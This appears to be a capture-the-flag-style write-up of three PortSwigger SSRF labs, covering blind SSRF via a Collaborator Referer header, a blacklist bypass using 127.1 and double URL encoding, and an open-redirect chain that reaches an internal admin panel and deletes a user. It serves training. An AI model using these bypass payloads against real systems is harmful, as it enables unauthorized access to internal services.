portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Server-side request forgery (SSRF):

3 Blind SSRF with out-of-band detection

This lab demonstrates how to exploit SSRF vulnerabilities that require out-of-band interaction to detect and confirm the attack.

4 SSRF with blacklist-based input filter

This lab shows how attackers can bypass blacklist-based filters to exploit SSRF vulnerabilities.

5 SSRF with filter bypass via open redirection vulnerability

This lab illustrates how SSRF attacks can bypass filters by leveraging open redirection flaws.

LAB 3 - Blind SSRF with out-of-band detection

Lab Description

image

Solution

1. Generating a Burp Collaborator Payload

Referer: http://<your-collaborator-id>.oastify.com

2. Sending the Request

image

3. Confirming SSRF via Callback

And thus the lab is solved

image


LAB 4 - SSRF with blacklist-based input filter

Lab Description

image

Solution

Step-by-Step Solution

1. Intercepting the Stock Check Request

http://localhost

image

External stock check blocked for security reasons

image

2. Bypassing Using Alternative Loopback IP

3. Attempting Access to the Admin Interface

http://127.1/admin

External stock check blocked for security reasons

image

Bypassing the Second Filter

4. URL Encoding /admin

/%61%64%6d%69%6e

image

But it was still blocked.

5. Double URL Encoding


%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65


/delete?username=carlos

image

Informational


Final Step – Deleting the User

  http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos

image

image


LAB 5 - SSRF with filter bypass via open redirection vulnerability

Lab Description

image

Solution

1. Initial Attempt – Direct SSRF

 http://192.168.0.12:8080/admin 

Invalid external stock check url ‘Invalid URL’

image

2. Searching for Open Redirect

2.1. Checked the Stock Check Endpoint

   /product/stock/check?productId=1&storeId=1

image

2.3. Confirmed Open Redirect

image


3. Combining SSRF with Open Redirect

3.1. Tried Direct Use of Redirect in stockApi

We get a 200 OK response & we can able to access the admin panel.

/product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

image

3.2. URL Encoded the Redirect Endpoint

/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin

image

3.3. Success: Admin Interface Accessed

/delete?username=carlos
/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin/delete?username=carlos

image

image